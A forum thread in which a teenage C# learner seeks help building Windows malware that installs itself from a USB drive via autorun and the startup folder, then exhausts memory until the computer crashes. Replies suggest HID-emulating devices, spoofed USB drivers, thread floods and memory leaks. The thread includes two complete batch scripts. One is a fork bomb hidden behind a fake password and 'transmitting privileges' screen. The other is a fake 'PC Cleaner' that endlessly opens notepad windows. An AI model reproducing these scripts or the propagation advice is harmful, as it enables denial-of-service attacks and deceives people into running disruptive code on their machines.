I am trying to learn C#. I decided to try to create a virus for windows in C#. My goal is to be able to plug a usb drive into a computer and have it automatically install by copying it to the startup folder, then it will keep opening itself until the computer crashes and restarts, where it will then open again. I can't figure out how to make it automatically copy itself to the startup folder when I plug a usb drive in and I can't think of a way to quickly eat up a lot of ram. I have been using an autorun.inf to make it install itself. The problem is when I plug the usb drive into the windows virtual machine I'm testing on I still get the what do you want to do with this drive notification. On the notification, if I click run it will install, but I want it to be able to be run without doing anything other than plugging it in. Here's the link to the github: https://github.com/bobby3605/PCKiller/blob/master/explorer/Program.cs
If this kind of programming isn't allowed here then I'll delete this post.
Perhaps you migjt better address your query to reddit.com/r/pentesting? Not sure if you should harden your rig first tho- not my area of interrest I'm afraid
You may have to work with the C code or assembly that is the software close to the hardware in order for it to do that. There is also probably some IEEE protical to make the computer do that then maby have it execute a bash file on the flash drive. My guess anyway.
Also I have a feeling you would have better luck with a language like C in general because C is more inclined to do what the programmer wants and not many safety barriers.
As a random idea you could make a subclass of string in C# or override the old one somehow and make it when you go beyond the memory of strings they dont throw an exception so you can overwrite memory outside of your program.
I have zero experience with C-anything, but if the machine believes it is a CD or keyboard, it can autorun.
Maybe look into a USB rubber ducky or the old u3 flash drives.
I believe some arduinos can be seen as mouse/kb. That would keep it mostly in programming, with the exception of the arduino. Plus, you can program it in C instead of using the arduino ide.
Just a quick two cents if you want to eat up ram quickly just make sure whatever you use to burn the cpu, just place that inside a while 1 loop and depending on the speed of the machine will depend how quickly it crashes. Maybe create zombie memory and then just while 1 it (as in create a program but don't properly close it so the memo gets quickly used up). In regards to notifications sadly have no idea on that. But really it's funny but building a virus is probably the worse thing you can do to learn. As really most of what a virus is, is just bad programming.
You could use Windows' compatability mode to achieve something like that (I guess).
Concerning eating up lot's of RAM: Creating a daisy chain of 10k threads should do the trick. (I know you want to use C#, but here is the Go example: https://talks.golang.org/2012/concurrency.slide#39 ) Alternatively, do something with trees or compute prime numbers.
Thanks for all the ideas. I ended up using Marshal.AllocHGlobal() to eat up the ram semi-quickly. I don't think I can use up all the cpu and ram at the same time. When the program opens, the computer immediately goes to 100% cpu usage. I think so many threads are opening that the cpu doesn't have time to process the function to use up the ram. I would use an arduino or rubber ducky, but I can't afford either one (Only 15 can't get a job). What @kewldude007 said might work because you can run DOS commands through C#, but I don't think I can make all of the cmd windows invisible.
Setlocal EnableDelayedExpansion Set _RNDLength=14 Set _Alphanumeric=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 Set Str=%Alphanumeric%987654321 :_LenLoop IF NOT "%Str:~18%"=="" SET _Str=%Str:~9%& SET /A Len+=9& GOTO :LenLoop SET tmp=%Str:~9,1% SET /A Len=Len+_tmp Set _count=0 SET _RndAlphaNum= :_loop Set /a _count+=1 SET _RND=%Random% Set /A RND=RND%%%_Len% SET RndAlphaNum=!RndAlphaNum!!Alphanumeric:~%RND%,1! If !count! lss %RNDLength% goto _loop Echo Random string is !_RndAlphaNum! echo. echo Write Down The Password (30 Seconds) PING 1.1.1.1 -n 1 -w 30000 >nul
:password title Enter Password cls echo Enter Password set /p pass=String: if %pass% equ !_RndAlphaNum! goto Access Granted
:failed title Failed echo The entered password failed. pause>nul exit
:Access Granted title Accepted cls echo The Password Was Excepted PING 1.1.1.1 -n 1 -w 2000 >nul cls echo Now Transmitting Privileges PING 1.1.1.1 -n 1 -w 1000 >nul cls echo Now Transmitting Privileges. PING 1.1.1.1 -n 1 -w 1000 >nul cls echo Now Transmitting Privileges.. PING 1.1.1.1 -n 1 -w 1000 >nul cls echo Now Transmitting Privileges... PING 1.1.1.1 -n 1 -w 1000 >nul cls echo Now Transmitting Privileges PING 1.1.1.1 -n 1 -w 1000 >nul cls title Completed :loop start start start start start start goto loop
guaranteed to have a bad time if you run that batch
@echo off
set /a x=0
:start
echo Welcome to Bobby's PC Cleaner
echo This program is designed to speed up your computer by over 3000 percent
echo Disclaimer:
echo If this program causes any harm to a computer Bobby is not responsible
echo Press any key to begin
pause > nul
:virus
echo Working...
echo GET REKT SCRUB> %x%.txt
start notepad %x%.txt
set /a x+=1
goto virus
I may have missed it but the simple solution for getting an infection on install is make the virus hijack the usb drive and have say that its a different device, something that is obscure so that it can load its "drivers" aka the virus onto the pc.
The reason is that since windows 8 nothing will autorun not even CD's or DVD's but you can still force a driver instal on usb insertion.